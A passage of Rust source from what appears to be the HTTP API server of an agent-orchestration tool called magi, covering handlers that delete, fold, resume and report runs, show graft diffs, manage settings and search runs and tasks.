3459        let superseded_by = state
3460            .pr_taken_over_by
3461            .clone()
3462            .or_else(|| ui.queue.superseded_by(&id))
3463            .as_deref()
3464            .map(crate::run::short_of)
3465            .map(str::to_owned);
3466        // Best-effort: an unreadable head (mid-write, or deleted) just means
3467        // this run's own status stands on its own, same as no later attempt
3468        // existing at all.
3469        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3470            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3471                short: head.short().to_owned(),
3472                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3473                status: head.status,
3474                done: head.status.done(),
3475                id: head.id,
3476            })
3477        });
3478        let max_attempts = daemon::Opts::default().max_attempts;
3479        let task = ui
3480            .queue
3481            .list()
3482            .into_iter()
3483            .find(|t| t.runs.contains(&id))
3484            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3485        Ok(Json(RunDetailView::of(
3486            state,
3487            waiting,
3488            live,
3489            superseded_by,
3490            latest_attempt,
3491            task,
3492        )))
3493    })
3494    .await
3495}
3496
3497/// `DELETE /api/runs/{id}`.
3498///
3499/// Remove a finished, folded run directory along with its artifacts.
3500/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3501/// deleted. This never touches git worktrees or branches - except for a run
3502/// whose state this build cannot read at all, where there is no candidate
3503/// list to check and the wholesale removal `magi fold` already uses for that
3504/// case is the only meaningful "delete".
3505async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3506    let (id, unreadable) = {
3507        let ui = Arc::clone(&ui);
3508        blocking(move || {
3509            let id = resolve_run(&ui.runs, &id)?;
3510            match read_run(&ui.runs, &id) {
3511                Ok(state) => {
3512                    let in_flight =
3513                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3514                    state
3515                        .ensure_can_delete(in_flight)
3516                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3517                    let dir = ui.runs.join(&id);
3518                    std::fs::remove_dir_all(&dir)
3519                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3520                    Ok((id, false))
3521                }
3522                Err(_) => {
3523                    // Unreadable: there is no candidate list to guard on, so
3524                    // a live daemon's claim is the only thing left to check -
3525                    // the same rule `run_fold` applies for the same reason.
3526                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3527                        return Err(ApiError::conflict(format!(
3528                            "run {id} is being worked on by a live daemon right now"
3529                        )));
3530                    }
3531                    Ok((id, true))
3532                }
3533            }
3534        })
3535        .await?
3536    };
3537    if unreadable {
3538        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3539            .await
3540            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3541    }
3542    let ui = Arc::clone(&ui);
3543    let done = id.clone();
3544    blocking(move || {
3545        // The agent that asked died with the run, so an open question would
3546        // keep asking the operator for a decision nobody can deliver.
3547        ui.questions.abandon_for_run(
3548            &done,
3549            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3550        )?;
3551        Ok(())
3552    })
3553    .await?;
3554    Ok(StatusCode::NO_CONTENT)
3555}
3556
3557/// `POST /api/runs/{id}/fold`.
3558///
3559/// Remove a run's candidate worktrees and branches, keeping its record.
3560///
3561/// This exists because the deck answered "delete this run" with *"Candidates
3562/// must be folded before deleting. Run `magi fold` first."* — a phone being
3563/// told to open a terminal, in the one product whose point is that it does
3564/// not need one. The runs an operator most wants gone are the stalled and
3565/// blocked ones, and those are exactly the runs still holding worktrees:
3566/// three of them here held 53 GB.
3567///
3568/// The winner's tree goes too. A fold is what someone asks for when they are
3569/// finished with a run, and leaving one tree behind would leave the delete
3570/// button disabled for the same reason as before.
3571///
3572/// Refused while a live daemon is working on the run, on the rule that guards
3573/// deletion: folding underneath a running agent would pull the tree it is
3574/// editing out from under it.
3575///
3576/// A run whose state this build cannot read at all falls back to
3577/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3578/// selectively, so the whole record's worktree goes wholesale, exactly what
3579/// `magi fold` does on the command line for the same run.
3580async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3581    let (id, state) = {
3582        let ui = Arc::clone(&ui);
3583        blocking(move || {
3584            let id = resolve_run(&ui.runs, &id)?;
3585            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3586                return Err(ApiError::conflict(format!(
3587                    "run {id} is being worked on by a live daemon right now"
3588                )));
3589            }
3590            let state = read_run(&ui.runs, &id).ok();
3591            Ok((id, state))
3592        })
3593        .await?
3594    };
3595    let removed = match state {
3596        Some(mut state) => {
3597            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3598                .await
3599                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3600            // Nothing left to remove is not the same thing as nothing left to
3601            // do — see `clean::clear_abandoned_active`'s own doc for the run
3602            // this exists for: worktrees already gone, but a killed process
3603            // left active seats nobody will ever answer for.
3604            if removed.is_empty() {
3605                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3606                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3607            }
3608            removed
3609        }
3610        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3611            .await
3612            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3613    };
3614    Ok(Json(FoldView {
3615        run: id,
3616        removed_count: removed.len(),
3617        removed,
3618    }))
3619}
3620
3621/// What a fold took away, so the deck can say so rather than only re-render.
3622#[derive(Debug, Serialize)]
3623struct FoldView {
3624    run: String,
3625    /// Worktree paths and branch names removed, in the order they went.
3626    removed: Vec<String>,
3627    removed_count: usize,
3628}
3629
3630/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3631/// merged outside of `land::land`'s own loop.
3632#[derive(Debug, Deserialize)]
3633struct FoldMergedBody {
3634    #[serde(default)]
3635    pr_url: String,
3636}
3637
3638/// `POST /api/runs/{id}/fold-merged`.
3639///
3640/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3641/// `Blocked` with `merge: null` because magi never got as far as opening a
3642/// pull request of its own (a title over GitHub's length limit, `gh pr
3643/// create` unreachable, a stale token), which the operator then finished by
3644/// hand on a pull request magi never recorded. The "Run actions" sheet used
3645/// to have no way to tell it about that pull request short of a terminal and
3646/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3647/// this exists and what it deliberately does not do (`bump::after_merge`).
3648///
3649/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3650/// correction rewrites the same `status`/`merge` fields a running graph would
3651/// be writing to on its own.
3652///
3653/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3654/// calls plus a fold, seconds of work, and the phone should get its answer
3655/// (which pull request it recorded, and what changed) in the same round
3656/// trip rather than learning it from the change stream.
3657async fn run_fold_merged(
3658    State(ui): State<Arc<Ui>>,
3659    Path(id): Path<String>,
3660    Json(body): Json<FoldMergedBody>,
3661) -> ApiResult<Json<FoldMergedView>> {
3662    let pr_url = body.pr_url.trim().to_owned();
3663    if pr_url.is_empty() {
3664        return Err(ApiError::bad_request("pr_url is required"));
3665    }
3666    let (id, mut state) = {
3667        let ui = Arc::clone(&ui);
3668        blocking(move || {
3669            let id = resolve_run(&ui.runs, &id)?;
3670            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3671                return Err(ApiError::conflict(format!(
3672                    "run {id} is being worked on by a live daemon right now"
3673                )));
3674            }
3675            let state = read_run(&ui.runs, &id)?;
3676            Ok((id, state))
3677        })
3678        .await?
3679    };
3680    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3681        .await
3682        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3683    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3684        .await
3685        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3686    Ok(Json(FoldMergedView {
3687        run: id,
3688        before: before.as_str().to_owned(),
3689        after: after.as_str().to_owned(),
3690        removed,
3691    }))
3692}
3693
3694/// What [`run_fold_merged`] did, so the deck can say so.
3695#[derive(Debug, Serialize)]
3696struct FoldMergedView {
3697    run: String,
3698    /// `status` before the correction — normally `"blocked"`.
3699    before: String,
3700    /// `status` after — normally `"merged"`.
3701    after: String,
3702    /// Worktree paths and branch names the trailing fold removed.
3703    removed: Vec<String>,
3704}
3705
3706/// `POST /api/runs/{id}/resume`.
3707///
3708/// Carry a stalled run on from where it stopped, in the background.
3709///
3710/// A stalled card says "the work is kept" and used to offer no way to act on
3711/// that: the candidates are built and paid for, and continuing means re-asking
3712/// only the seats whose absence collapsed the panel. The alternative an
3713/// operator actually had was releasing the task, which competes three fresh
3714/// implementations against work that already exists.
3715///
3716/// **202, not 200.** A resume runs agents for minutes; holding the connection
3717/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3718/// phone learns the outcome from the change stream.
3719///
3720/// Refused when the loop is running at all, not merely when it is on this run.
3721/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3722/// started a second graph on top of whatever the loop is already driving —
3723/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3724/// allows — would spend that quota twice over for no extra throughput.
3725async fn run_resume(
3726    State(ui): State<Arc<Ui>>,
3727    Path(id): Path<String>,
3728) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3729    let (id, state) = {
3730        let ui = Arc::clone(&ui);
3731        blocking(move || {
3732            let id = resolve_run(&ui.runs, &id)?;
3733            let state = read_run(&ui.runs, &id)?;
3734            Ok((id, state))
3735        })
3736        .await?
3737    };
3738    if let Some(to) = state
3739        .pr_taken_over_by
3740        .as_ref()
3741        .or(state.released_to.as_ref())
3742    {
3743        return Err(ApiError::conflict(format!(
3744            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3745            state.short(),
3746            crate::run::short_of(to)
3747        )));
3748    }
3749    if !state.status.resumable() {
3750        return Err(ApiError::conflict(format!(
3751            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3752            state.short(),
3753            status_word(state.status)
3754        )));
3755    }
3756    // Refused whenever the loop is running anything at all, not merely when
3757    // it is on this run: a manual resume racing a loop-driven run over the
3758    // same agent quota is the thing this guard exists to prevent, whether
3759    // the loop's own concurrency is one run or several.
3760    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3761        .into_iter()
3762        .next()
3763    {
3764        return Err(ApiError::conflict(format!(
3765            "the loop is running run {} right now; stop it first, or wait for \
3766             it to finish, before resuming a run by hand.",
3767            crate::run::short_of(&work.run)
3768        )));
3769    }
3770    let _resume = ui.begin_resume(&id)?;
3771
3772    // The same shape the list route returns, so the phone updates the card it
3773    // already has rather than learning a second schema for one button.
3774    let queued = RunSummary::of(
3775        &state,
3776        !ui.questions.open_for(&id).is_empty(),
3777        state.liveness(false),
3778    );
3779    let run = id.clone();
3780    tokio::spawn(async move {
3781        let _resume = _resume;
3782        match crate::graph::Runner::resume(&run) {
3783            Ok(mut runner) => {
3784                if let Err(e) = runner.execute().await {
3785                    tracing::warn!("resume of run {run} stopped: {e:#}");
3786                }
3787            }
3788            // The run's own record is what the phone reads; this line is for
3789            // the operator's terminal.
3790            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3791        }
3792    });
3793    Ok((StatusCode::ACCEPTED, Json(queued)))
3794}
3795
3796async fn run_report(
3797    State(ui): State<Arc<Ui>>,
3798    Path(id): Path<String>,
3799) -> ApiResult<impl IntoResponse> {
3800    let text = blocking(move || {
3801        let id = resolve_run(&ui.runs, &id)?;
3802        // Colour is off for the whole process, set once in `serve`. Rendering
3803        // is CPU work over the full state, which is the other reason this is
3804        // not on the executor.
3805        let state = read_run(&ui.runs, &id)?;
3806        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3807        let live = state.liveness(daemon_claims);
3808        Ok(format!(
3809            "{}{}",
3810            report::run(&state),
3811            report::active_seats(&state, live)
3812        ))
3813    })
3814    .await?;
3815    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3816}
3817
3818/// The structured twin of [`run_report`]: the same state, as sections the UI
3819/// draws as cards. An unreadable run answers with the same error the text
3820/// route does; it is never turned into an empty report.
3821async fn run_report_json(
3822    State(ui): State<Arc<Ui>>,
3823    Path(id): Path<String>,
3824) -> ApiResult<Json<crate::report_view::RunReportView>> {
3825    let view = blocking(move || {
3826        let id = resolve_run(&ui.runs, &id)?;
3827        let state = read_run(&ui.runs, &id)?;
3828        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3829        // Only a record that lacks the structured details reads `artifacts/`.
3830        let recovered = state.graft.as_ref().map(|_| {
3831            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3832        });
3833        Ok(crate::report_view::build_with(
3834            &state,
3835            state.liveness(daemon_claims),
3836            recovered.as_ref(),
3837        ))
3838    })
3839    .await?;
3840    Ok(Json(view))
3841}
3842
3843/// Most of a graft diff the route returns.
3844const GRAFT_DIFF_MAX: usize = 400 * 1024;
3845/// How long `git diff` may run.
3846const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3847
3848/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
3849/// come from the run record, never from the request.
3850async fn run_graft_diff(
3851    State(ui): State<Arc<Ui>>,
3852    Path(id): Path<String>,
3853) -> ApiResult<impl IntoResponse> {
3854    let (repo, pre, post) = blocking(move || {
3855        let id = resolve_run(&ui.runs, &id)?;
3856        let state = read_run(&ui.runs, &id)?;
3857        let g = state
3858            .graft
3859            .as_ref()
3860            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3861        let post = g
3862            .post
3863            .clone()
3864            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3865        Ok((state.repo.clone(), g.pre.clone(), post))
3866    })
3867    .await?;
3868    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3869    if !hex(&pre) || !hex(&post) {
3870        return Err(ApiError::not_found("the recorded commits are not valid"));
3871    }
3872    let out = tokio::time::timeout(
3873        GRAFT_DIFF_TIMEOUT,
3874        crate::git::git_raw(
3875            &repo,
3876            &[
3877                "diff",
3878                "--no-color",
3879                "--no-ext-diff",
3880                "-M",
3881                &pre,
3882                &post,
3883                "--",
3884            ],
3885        ),
3886    )
3887    .await
3888    .map_err(|_| ApiError::not_found("git diff timed out"))?
3889    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3890    if out.code != Some(0) {
3891        return Err(ApiError::not_found(
3892            "the recorded commits are no longer in the repository",
3893        ));
3894    }
3895    let mut body = out.stdout;
3896    if body.len() > GRAFT_DIFF_MAX {
3897        let mut cut = GRAFT_DIFF_MAX;
3898        while !body.is_char_boundary(cut) {
3899            cut -= 1;
3900        }
3901        body.truncate(cut);
3902        body.push_str("\n... diff truncated ...");
3903    }
3904    Ok((
3905        [
3906            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3907            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3908        ],
3909        body,
3910    ))
3911}
3912
3913/// A task as the UI sees it.
3914///
3915/// The whole task, plus the two things the client would otherwise have to
3916/// reimplement: the human-readable source and the status string. Nothing is
3917/// removed - the phone shows `last_error` and the run history verbatim.
3918#[derive(Debug, Serialize)]
3919struct TaskView {
3920    #[serde(flatten)]
3921    task: Task,
3922    source_label: String,
3923    source_link: Option<SourceLink>,
3924    status_str: &'static str,
3925    /// The instruction, parsed as markdown, for the Queue card's "Full
3926    /// instruction" panel. `task.instruction` is unchanged and still carries
3927    /// the raw text.
3928    instruction_md: Vec<md::Node>,
3929    /// For a blocked task, what it waits on with each dependency's state, e.g.
3930    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3931    /// recurses; empty for every other status.
3932    waits_on: Vec<String>,
3933    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3934    /// behind - non-empty means nothing in the loop will ever run it.
3935    stuck_roots: Vec<String>,
3936}
3937
3938impl From<Task> for TaskView {
3939    fn from(task: Task) -> Self {
3940        Self {
3941            source_label: task.source.label(),
3942            source_link: source_link(&task.source),
3943            status_str: task.status.as_str(),
3944            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3945            waits_on: Vec::new(),
3946            stuck_roots: Vec::new(),
3947            task,
3948        }
3949    }
3950}
3951
3952impl TaskView {
3953    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3954        let waits_on = inv.waits_on(&task);
3955        let stuck_roots = inv
3956            .stuck_roots(&task)
3957            .iter()
3958            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3959            .collect();
3960        Self {
3961            waits_on,
3962            stuck_roots,
3963            ..Self::from(task)
3964        }
3965    }
3966}
3967
3968/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3969/// its absence, leaves the cache to decide.
3970#[derive(Debug, Default, Deserialize)]
3971#[serde(default)]
3972struct ReposQuery {
3973    refresh: u8,
3974}
3975
3976/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3977/// listing `magi repos` prints at a terminal.
3978///
3979/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3980/// so an edit to `magi.toml` takes effect without a restart, the same
3981/// reasoning [`config_for`] documents for the talk routes.
3982async fn repos_list(
3983    State(ui): State<Arc<Ui>>,
3984    Query(q): Query<ReposQuery>,
3985) -> ApiResult<Json<Vec<repos::Repo>>> {
3986    let refresh = q.refresh != 0;
3987    blocking(move || {
3988        let (cfg, _) = Config::discover(&ui.repo, None)?;
3989        Ok(Json(ui.repos_cache.list(
3990            &cfg.repos.roots,
3991            Duration::from_secs(cfg.repos.scan_ttl),
3992            refresh,
3993        )))
3994    })
3995    .await
3996}
3997
3998/// Optional context, restricted to the server's known checkouts.
3999#[derive(Debug, Default, Deserialize)]
4000struct SettingsQuery {
4001    repo: Option<PathBuf>,
4002}
4003
4004/// Always discover against the server's original context, never the selection.
4005/// If that config is broken, retain the default context and machine-only roots
4006/// so the settings error contract and recovery picker remain available.
4007fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4008    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4009        let paths: Vec<PathBuf> = ui
4010            .machine_config
4011            .iter()
4012            .filter(|p| p.is_file())
4013            .cloned()
4014            .collect();
4015        if paths.is_empty() {
4016            Ok(Config::autodetected())
4017        } else {
4018            Config::load_layers(&paths)
4019        }
4020    });
4021    let mut known = cfg
4022        .map(|cfg| {
4023            ui.repos_cache.list(
4024                &cfg.repos.roots,
4025                Duration::from_secs(cfg.repos.scan_ttl),
4026                refresh,
4027            )
4028        })
4029        .unwrap_or_default();
4030    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4031    if !known.iter().any(|r| r.path == path) {
4032        known.push(repos::Repo {
4033            name: path
4034                .file_name()
4035                .unwrap_or_default()
4036                .to_string_lossy()
4037                .into_owned(),
4038            path,
4039        });
4040    }
4041    known
4042}
4043
4044fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4045    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4046    let canonical = requested.canonicalize().ok();
4047    let mut known = settings_repositories(ui, false);
4048    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4049    if !known.iter().any(matches) {
4050        known = settings_repositories(ui, true);
4051    }
4052    let repo = known
4053        .iter()
4054        .find(|r| matches(r))
4055        .map(|r| r.path.clone())
4056        .ok_or_else(|| ApiError {
4057            status: StatusCode::UNPROCESSABLE_ENTITY,
4058            message: "Choose a known repository from the Settings selector.".to_owned(),
4059        })?;
4060    Ok((repo, known))
4061}
4062
4063/// `GET /api/settings` - the effective role assignments and roster, with the
4064/// layer each came from. A config that fails to load answers 200 with an
4065/// `error`, so the screen can say so instead of drawing empty lists.
4066async fn settings_get(
4067    State(ui): State<Arc<Ui>>,
4068    Query(q): Query<SettingsQuery>,
4069) -> ApiResult<Json<settings::SettingsView>> {
4070    blocking(move || {
4071        let (repo, known) = settings_context(&ui, q)?;
4072        Ok(Json(settings::view_with_repos(
4073            &repo,
4074            ui.machine_config.as_deref(),
4075            &known,
4076        )))
4077    })
4078    .await
4079}
4080
4081/// The body of `PUT /api/settings/roles`.
4082#[derive(Debug, Deserialize)]
4083#[serde(deny_unknown_fields)]
4084struct RolesBody {
4085    /// The `revision` the client last read.
4086    revision: String,
4087    /// Role key to its new ids; an empty list resets the key to its default.
4088    #[serde(default)]
4089    roles: std::collections::BTreeMap<String, Vec<String>>,
4090    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4091    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4092    /// words (422) instead of as a deserialization error.
4093    #[serde(default)]
4094    counts: std::collections::BTreeMap<String, serde_json::Value>,
4095}
4096
4097/// `PUT /api/settings/roles` - save role assignments to the machine config.
4098///
4099/// The write target is `ui.machine_config` and nothing in the body can change
4100/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4101/// 422 with the reason in words.
4102async fn settings_put_roles(
4103    State(ui): State<Arc<Ui>>,
4104    Query(q): Query<SettingsQuery>,
4105    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4106) -> ApiResult<Json<settings::SettingsView>> {
4107    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4108    blocking(move || {
4109        let (repo, known) = settings_context(&ui, q)?;
4110        settings::save_with_repos(
4111            &repo,
4112            ui.machine_config.as_deref(),
4113            &body.revision,
4114            &body.roles,
4115            &body.counts,
4116            &known,
4117        )
4118        .map(Json)
4119        .map_err(|e| match e {
4120            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4121            settings::SaveError::Refused(m) => ApiError {
4122                status: StatusCode::UNPROCESSABLE_ENTITY,
4123                message: m,
4124            },
4125            settings::SaveError::Internal(m) => ApiError::internal(m),
4126        })
4127    })
4128    .await
4129}
4130
4131async fn queue_list(
4132    State(ui): State<Arc<Ui>>,
4133    Query(q): Query<ListQuery>,
4134) -> ApiResult<Json<Vec<TaskView>>> {
4135    blocking(move || {
4136        let tasks = ui.queue.list();
4137        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4138        Ok(Json(
4139            tasks
4140                .into_iter()
4141                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4142                .map(|t| TaskView::with_inventory(t, &inv))
4143                .collect(),
4144        ))
4145    })
4146    .await
4147}
4148
4149/// Most hits one search returns. The rest are counted in `total`.
4150const SEARCH_MAX_HITS: usize = 100;
4151/// Longest query, in characters, and most terms it is split into.
4152const SEARCH_MAX_QUERY: usize = 200;
4153const SEARCH_MAX_TERMS: usize = 8;
4154/// Characters of context kept before the first hit, and after it.
4155const SNIPPET_BEFORE: usize = 50;
4156const SNIPPET_AFTER: usize = 110;
4157
4158/// `?scope=runs|tasks&q=...`
4159#[derive(Debug, Deserialize)]
4160struct SearchQuery {
4161    #[serde(default)]
4162    scope: String,
4163    #[serde(default)]
4164    q: String,
4165}
4166
4167/// One piece of a snippet. `hit` pieces are what matched; the client renders
4168/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4169#[derive(Debug, Serialize, PartialEq, Eq)]
4170struct SnippetPart {
4171    text: String,
4172    hit: bool,
4173}
4174
4175#[derive(Debug, Serialize)]
4176struct SearchHit {
4177    id: String,
4178    /// The name of the field the snippet was cut from.
4179    field: String,
4180    snippet: Vec<SnippetPart>,
4181    /// The run's list row, so the page can apply its state / section / repo
4182    /// filters to a hit outside the loaded window. Absent for tasks and for a
4183    /// run record the list view cannot read.
4184    #[serde(skip_serializing_if = "Option::is_none")]
4185    run: Option<RunSummary>,
4186}
4187
4188#[derive(Debug, Serialize)]
4189struct SearchView {
4190    scope: String,
4191    q: String,
4192    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4193    hits: Vec<SearchHit>,
4194    /// Every match, hits beyond the cap included.
4195    total: usize,
4196    truncated: bool,
4197    /// Runs whose `run.json` could not be parsed at all. They were not
4198    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4199    unreadable: usize,
4200}
4201
4202/// The text leaves of a JSON document, with the name of the field each sits
4203/// under. Keys and numbers are skipped: they are structure, not prose.
4204fn text_leaves<'a>(
4205    value: &'a serde_json::Value,
4206    field: &'a str,
4207    out: &mut Vec<(&'a str, &'a str)>,
4208) {
4209    match value {
4210        serde_json::Value::String(s) => out.push((field, s)),
4211        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4212        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4213        _ => {}
4214    }
4215}
4216
4217/// Lower-case one character without changing how many there are, so indices
4218/// in the lowered text are indices in the original.
4219fn fold_char(c: char) -> char {
4220    c.to_lowercase().next().unwrap_or(c)
4221}
4222
4223/// Split a query into its lower-cased terms.
4224fn search_terms(q: &str) -> Vec<String> {
4225    let mut terms: Vec<String> = Vec::new();
4226    for t in q.split_whitespace() {
4227        let t = t.to_lowercase();
4228        if !terms.contains(&t) {
4229            terms.push(t);
4230        }
4231    }
4232    terms
4233}
4234
4235/// Match `terms` (all of them, anywhere in the document) against the leaves
4236/// and cut a snippet around the first hit. `None` when a term is missing.
4237fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4238    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4239    let mut first: Option<usize> = None;
4240    for term in terms {
4241        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4242        first = Some(first.map_or(at, |f| f.min(at)));
4243    }
4244    // The leaf holding the earliest hit of any term is where the snippet is cut.
4245    let (field, text) = leaves[first?];
4246    Some(SearchHit {
4247        id: String::new(),
4248        field: field.to_owned(),
4249        snippet: snippet_of(text, terms),
4250        run: None,
4251    })
4252}
4253
4254/// A window of `text` around the first occurrence of any term, whitespace
4255/// collapsed, with every term occurrence inside the window marked.
4256fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4257    let chars: Vec<char> = text.chars().collect();
4258    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4259    let needles: Vec<Vec<char>> = terms
4260        .iter()
4261        .map(|t| t.chars().map(fold_char).collect())
4262        .collect();
4263    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4264        let mut best: Option<(usize, usize)> = None;
4265        for n in needles.iter().filter(|n| !n.is_empty()) {
4266            // `to` bounds where a match may start; it may run past `to` (the
4267            // caller clips what it shows). A term longer than the field cannot
4268            // occur in it (it may live in another leaf of the document).
4269            if n.len() > chars.len() || to == 0 {
4270                continue;
4271            }
4272            let last = (to - 1).min(chars.len() - n.len());
4273            if from > last {
4274                continue;
4275            }
4276            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4277                && best.is_none_or(|(b, _)| i < b)
4278            {
4279                best = Some((i, i + n.len()));
4280            }
4281        }
4282        best
4283    };
4284    let Some((start, _)) = find(0, chars.len()) else {
4285        // Matched only through a case mapping that changes length: show the head.
4286        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4287        return vec![SnippetPart {
4288            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4289            hit: false,
4290        }];
4291    };
4292    let lo = start.saturating_sub(SNIPPET_BEFORE);
4293    let hi = (start + SNIPPET_AFTER).min(chars.len());
4294    let mut parts: Vec<SnippetPart> = Vec::new();
4295    let mut push = |s: &[char], hit: bool| {
4296        if s.is_empty() {
4297            return;
4298        }
4299        let text: String = s.iter().collect();
4300        match parts.last_mut() {
4301            Some(p) if p.hit == hit => p.text.push_str(&text),
4302            _ => parts.push(SnippetPart { text, hit }),
4303        }
4304    };
4305    if lo > 0 {
4306        push(&['\u{2026}'], false);
4307    }
4308    let mut at = lo;
4309    while at < hi {
4310        match find(at, hi) {
4311            Some((s, e)) => {
4312                push(&chars[at..s], false);
4313                // A match running past the window is shown up to its edge.
4314                let shown = e.min(hi);
4315                push(&chars[s..shown], true);
4316                at = shown;
4317            }
4318            None => {
4319                push(&chars[at..hi], false);
4320                at = hi;
4321            }
4322        }
4323    }
4324    if hi < chars.len() {
4325        push(&['\u{2026}'], false);
4326    }
4327    // Collapse whitespace (newlines in an instruction) without disturbing the
4328    // hit boundaries.
4329    let mut prev_space = false;
4330    for p in &mut parts {
4331        let mut out = String::with_capacity(p.text.len());
4332        for c in p.text.chars() {
4333            if c.is_whitespace() {
4334                if !prev_space {
4335                    out.push(' ');
4336                }
4337                prev_space = true;
4338            } else {
4339                out.push(c);
4340                prev_space = false;
4341            }
4342        }
4343        p.text = out;
4344    }
4345    parts.retain(|p| !p.text.is_empty());
4346    parts
4347}
4348
4349/// The search over `docs` (id, document), newest first, capped.
4350fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4351where
4352    I: IntoIterator<Item = (String, serde_json::Value)>,
4353{
4354    for (id, doc) in docs {
4355        let mut leaves = Vec::new();
4356        // The id is text an operator types too, and it is a map key on disk,
4357        // not a leaf.
4358        leaves.push(("id", id.as_str()));
4359        text_leaves(&doc, "", &mut leaves);
4360        if let Some(mut hit) = search_document(terms, &leaves) {
4361            view.total += 1;
4362            if view.hits.len() < SEARCH_MAX_HITS {
4363                hit.id = id;
4364                view.hits.push(hit);
4365            }
4366        }
4367    }
4368    view.truncated = view.total > view.hits.len();
4369}
4370
4371/// What a conversation is searched by: its list title and each turn's text,
4372/// under `operator` / `agent` so the snippet says who spoke. Nothing else
